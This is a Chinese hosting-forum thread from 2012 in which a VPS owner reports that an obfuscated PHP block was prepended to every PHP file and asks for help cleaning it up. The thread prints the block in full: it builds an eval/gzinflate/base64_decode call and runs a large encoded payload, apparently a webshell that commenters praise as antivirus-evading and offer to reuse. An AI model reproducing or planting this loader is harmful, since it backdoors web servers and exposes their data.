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CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
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[Windows VPS] vps被入侵了?随帮我分析一下

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发表于 2012-12-18 14:36:44 | 显示全部楼层 |阅读模式
在所有php文件的开头都增加了:
<?php
$md5 = "f55b86ded97aa69d7ee5318f80b81196";
$aa = array("d","9",'v',"g",'t',"n",";","$",'c','r','i','l',"e","a",")",'_',"z","s",'(',"f","o","b",'4');
$bab = create_function('$'.'v',$aa[10].$aa[2].$aa[13].$aa[11].$aa[18].$aa[3].$aa[16].$aa[10].$aa[5].$aa[19].$aa[11].$aa[13].$aa[4].$aa[12].$aa[18].$aa[21].$aa[13].$aa[17].$aa[12].$aa[1].$aa[22].$aa[15].$aa[0].$aa[12].$aa[8].$aa[20].$aa[0].$aa[12].$aa[18].$aa[7].$aa[2].$aa[14].$aa[14].$aa[14].$aa[6]);
$bab('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');
?>
这是什么
发表于 2012-12-18 14:39:12 | 显示全部楼层
base64

 楼主| 发表于 2012-12-18 14:42:59 | 显示全部楼层

RE: vps被入侵了?随帮我分析一下

KVMLA 发表于 2012-12-18 14:39
base64

重装wordpress、discuz等等,然后呢?数据库怎么清除?
发表于 2012-12-18 14:57:19 | 显示全部楼层
好马
发表于 2012-12-18 15:07:52 | 显示全部楼层
我的博客,也是这样的呀,所有的文件都有这个,是神马情况?
发表于 2012-12-18 15:24:17 | 显示全部楼层
好马 收下了 留着用 谢谢楼主分享最新免杀大马 楼主好**!
发表于 2012-12-18 15:38:43 | 显示全部楼层
huochai 发表于 2012-12-18 15:24
好马 收下了 留着用 谢谢楼主分享最新免杀大马 楼主好**!

求使用方法
 楼主| 发表于 2012-12-18 15:40:42 | 显示全部楼层

RE: vps被入侵了?随帮我分析一下

huochai 发表于 2012-12-18 15:24
好马 收下了 留着用 谢谢楼主分享最新免杀大马 楼主好**!

求清除木马方法?
 楼主| 发表于 2012-12-18 15:42:19 | 显示全部楼层

RE: vps被入侵了?随帮我分析一下

hepac 发表于 2012-12-18 14:57
好马

求清除的方法,博客和论坛已经重装,但是数据库怎么清理?
发表于 2012-12-18 15:56:01 | 显示全部楼层
base94_decode是神马啊。。。?
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